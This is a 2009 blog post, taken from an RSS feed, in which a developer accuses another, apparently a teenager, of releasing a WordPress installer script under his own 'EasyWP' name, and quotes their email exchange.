<p>The other day, I had this great idea to make a single PHP file that downloads, and extracts WordPress to make installing it much easier, and faster. So after I coded it, I asked a few of my friends for suggestions on a name. Most of them said EasyWP which sounded pretty good so I went ahead with it.</p>
<p>That evening, I put together the website (http://easywp.9milesMedia.com), but wasn&#8217;t going to launch it till the next morning when I decided what I was going to licence it under, etc. and was tweeting through this process. Then @smashingmag asked me if I could send it to them. I DMed them a link to the website that I&#8217;d set up, telling them that I wasn&#8217;t launching it quite yet, but they could see it early.</p>
<p>Moments later, my friends told me that he just Googled EasyWP and someone else (you) had made a similar file. I decided that it was probably a good idea to go ahead with my version anyway as I wanted to do a lot more with it then I could see you had done (I wanted to do an ftp version, etc. too in future update), but was going to change the name to something else because you had already used it for your file.</p>
<p>Unfortunately before I could do this, @smashingmag had tweeted a link to my version, and that link has now been retweeted over 100 times. It also ended up getting over 100 delicious bookmarks, and multiple blogs writing about.</p>
<p>I have a method of informing users of updates to the script, and I can set up 301 redirects, etc. but it&#8217;s going to be really hard now as it&#8217;s so well branded as EasyWP. I was just wondering if maybe you would allow me to keep the name? As I said, I can change it if you really want me to, but I&#8217;d rather come to some kind of agreement on this.</p>
<p>I&#8217;m sorry for not checking that the name was free earlier.</p>
<p>Thanks for taking the time to read this email.</p>
<p>I look forward to hearing form you.</p>
<p>Have a great day!</p></blockquote>
<p>The script this guy wrote, at least in it&#8217;s current version, is slightly inferior to mine, does the exact same thing, came out a year after mine, and he gave it the same name. The only difference is that he got lucky enough to have <a href="http://twitter.com/smashingmag" target="_blank">@smashingmag</a> to tweet the link for him. As a result, his script is getting a ton of attention. Despite that fact that he discovered that his script, including the name, was basically a direct rippoff of mine, he decides to continue to promote the script:</p>
<p><img src="/images/joel-tweet1.png" onmouseup="hl2l(event);" class="centered"></p>
<p><img src="/images/joel-tweet2.png" onmouseup="hl2l(event);" class="centered"></p>
<p>Since he did state that the whole situation was an accident, I suggested to him what I felt would be the right thing for him to do at this point:</p>
<blockquote class="eml"><p>Joel,</p>
<p>    Ok, for starters, please stop promoting/tweeting your product until we have hashed this out. Your claims of this being an honest mistake seem much less sincere the more you promote this using the EasyWP name. Honestly, the fact that you didn&#8217;t issue a public apology for not researching the concept and the name the moment you discovered that you were plagiarizing, even though you claim it was accidental, surprises me a little. 19 minutes after tweeting that you discovered that the script had already been done and the name used for that exact purpose, you start promoting your script using that name, and you never stopped.</p>
<p>    You said that you planned to go further with your script that I did mine, but as it stands currently not only is your script not really any kind of improvement over mine, but additionally it is lacking a couple of features that mine already has built in (such as checking permissions or allowing the user to upload their own version of wp, should they not want to go with the current one). Seeing as that is the case, and seeing as I released mine almost a year ago, this is what I think should happen from here:</p>
<p>1) I think that you should write an apology post for not doing any research before releasing your product, explain how the name was already being used for a near identical script, and how the original script actually has features yours does not. I think you should include in your apology your reasoning, whatever it was, for not letting people know right away and why you instead continued to promote your product without even mentioning mine.</p>
<p>2) Since my script does in fact offer things that yours doesn&#8217;t, I think you should simply 301 your current download page to mine.</p>
<p>3) You should ask Smashing Magazine help you get the word out about the original script, seeing as if you actuality did tell them that it was a sneak preview for their eyes only then they should not have tweeted it.</p>
<p>4) In the future if you do write a script with more/better features than mine then yes, I do hope that you use a different name.</p>
<p>Now Joel, obviously I cannot make you do anything, and you will of course do whatever you want. Only your own personal set of ethics will dictate what happens hereon out with this. It&#8217;s up to you.</p>
<p>    Peace.</p>
<p>    -Michael
</p></blockquote>
<p>Joel, however, is unwilling to give up the attention that comes with getting a mention from someone with the prestige of <a href="http://www.smashingmagazine.com/" target="_blank">Smashing Magazine&#8217;s</a> Twitter account, and all of the <a href="http://www.dailyblogtips.com/trouble-installing-wordpress-try-easywp-install/" target="_blank">subsequent</a> <a href="http://keus.ch/wp/easywp-wordpress-installation-made-easy/" target="_blank">blogging</a> that results from that. He claims he will give it another name, and come clean about what happened, in a few days after he updates the script. I asked him why he wouldn&#8217;t fess up now, but he really couldn&#8217;t give a good answer for that one, so he just replied that they were &#8220;taking this seriously and are actively coding updates, and sorting out the hosting&#8221;. </p>
<p>Do I know for a fact that Joel didn&#8217;t find my script and decide that passing off a similar one as his own was a good idea? Nope. No way to know those kinds of things. I do know that it took him almost 24 hours to contact me, and that he only did so after the script started to get tons of attention on Twitter. I also know that he refuses to make it right while there is still a large amount of buzz about it. I think that most responsible adults with any concept of business ethics would immediately own up to what happened, drop the script, and find some other idea to develop.</p>
<p>The problem is, Joel Drapper <em>isn&#8217;t</em> a responsible adult&#8230; <a href="http://9milesmedia.com/" target="_blank">he&#8217;s a 16 year old kid</a> that is part of a group of 9 other kids aged 13 &#8211; 16:</p>
<blockquote><p><em>9miles Media is a small, unique graphic &#038; web design group comprised of nine creative teenage entrepreneurs (age 13-16) from all over the world. We adore what we do, and you’ll adore what we can do for you.</em></p></blockquote>
<p>So, what do you do in a situation like this? Give them a pass because of their age? Trust their word that it really was an accident, despite their refusal to make it right? Having a hard time figuring this one out myself.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2009/05/15/is-plagiarism-ok-if-it-was-an-accident/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
	</channel>
</rss>

